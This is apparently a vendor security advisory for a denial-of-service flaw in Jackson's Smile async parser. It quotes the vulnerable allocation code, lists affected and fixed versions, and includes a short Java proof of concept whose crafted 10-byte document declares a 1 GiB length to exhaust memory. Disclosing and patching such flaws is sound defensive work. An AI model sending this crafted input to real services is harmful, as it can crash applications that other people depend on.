CVE-2026-104895
Patch Available.
This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.
Overview
jackson-dataformat-smile is the Smile data-format backend of the FasterXML Jackson suite. It is one of the binary dataformat modules in the jackson-dataformats-binary repository, providing a Jackson streaming parser and generator for Smile, a compact binary encoding of the JSON data model, including a non-blocking (async) parser for event-driven input.
A Denial of Service (DoS) vulnerability (CVE-2026-104895) has been identified in jackson-dataformat-smile, which allows attackers to exhaust process memory with a small, crafted Smile document fed to the non-blocking (async) parser. The parser allocates a buffer of the attacker-declared raw-binary length before any content has arrived, so a few bytes declaring a multi-gigabyte length force a large allocation that can crash the JVM.
Per OWASP: The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed.
This issue affects versions < 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4 of jackson-dataformat-smile.
Details
Module Info
- Product: Jackson
- Affected packages:
com.fasterxml.jackson.dataformat:jackson-dataformat-smile - Affected versions: < 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4
- GitHub repository: https://github.com/FasterXML/jackson-dataformats-binary
- Published packages: https://central.sonatype.com/artifact/com.fasterxml.jackson.dataformat/jackson-dataformat-smile
- Package manager: Maven
- Fixed in:
- OSS Jackson 2.18.12, 2.21.8, 2.22.4
- NES for Jackson v2.13.13, v2.14.10, v2.15.11
Vulnerability Info
This High-severity vulnerability is found in the jackson-dataformat-smile package in versions < 2.18.12, >= 2.19.0 < 2.21.8, >= 2.22.0 < 2.22.4 of Jackson. The non-blocking Smile parser, NonBlockingByteArrayParser, handles a raw binary value (Smile type byte 0xFD) by decoding its declared length and immediately allocating a byte[] of that size, before any of the value's content has been fed to the parser. An attacker who can submit Smile input to an application that uses the async parser can declare a very large length in only a handful of bytes and force the allocation up front.
In _startRawBinary, the decoded length is used directly as the array size:
protected final JsonToken _startRawBinary() throws IOException
{
if ((_inputPtr + 5) > _inputEnd) {
return _finishRawBinaryLen(0, 0);
}
final int len = _decodeVInt();
_binaryValue = new byte[len];
_pending32 = len;
_inputCopyLen = 0;
return _finishRawBinaryBody();
}
The chunked length path in _finishRawBinaryLen does the same, and its VInt accumulation has no 31-bit overflow check: it only guards against a VInt spanning more than five data bytes, so the final value can wrap to a negative number or to a very large positive one, and is then used verbatim as the allocation size:
int b = _inputBuffer[_inputPtr++];
if (b < 0) { // got it all; these are last 6 bits
final int len = (value << 6) | (b & 0x3F);
_binaryValue = new byte[len];
_pending32 = len;
_inputCopyLen = 0;
return _finishRawBinaryBody();
}
// can't get too big; 5 bytes is max
if (++bytesRead >= 5 ) {
_reportError("Corrupt input; 32-bit VInt extends beyond 5 data bytes");
}
value = (value << 7) | b;
Because the length is never validated and the allocation is not deferred until the content is actually available, a declared length near Integer.MAX_VALUE raises OutOfMemoryError (or, for a length that decodes negative, NegativeArraySizeException) from a tiny input, taking down the parsing thread or the whole process.
Steps to Reproduce
1. Build a Smile document that is only a header followed by a raw binary marker and a length prefix declaring roughly one gigabyte, with no binary content.
2. Feed it to a NonBlockingByteArrayParser and advance to the first token.
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
import com.fasterxml.jackson.dataformat.smile.SmileFactory;
public class Repro {
public static void main(String[] args) throws Exception {
// Smile header, raw binary marker (0xFD), then a VInt length of ~1 GiB.
byte[] doc = { ':', ')', '\n', 0x04, (byte) 0xFD, 0x08, 0x00, 0x00, 0x00, (byte) 0x80 };
JsonParser p = new SmileFactory().createNonBlockingByteArrayParser();
((ByteArrayFeeder) p.getNonBlockingInputFeeder()).feedInput(doc, 0, doc.length);
p.nextToken();
}
}
Running this against an affected version with a modest heap (for example a 256 MB maximum) throws OutOfMemoryError from inside NonBlockingByteArrayParser while decoding the raw binary length, even though no binary content was ever supplied.
Mitigation
Only recent versions of Jackson are community-supported. Release lines the project has closed are End-of-Life and will not receive community updates addressing this issue. Branch status is published on the project's own Jackson Releases page.
Users of the affected components should apply one of the following mitigations:
- Upgrade jackson-dataformat-smile to a currently supported release containing the fix, such as 2.18.12, 2.21.8, 2.22.4 or later.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.
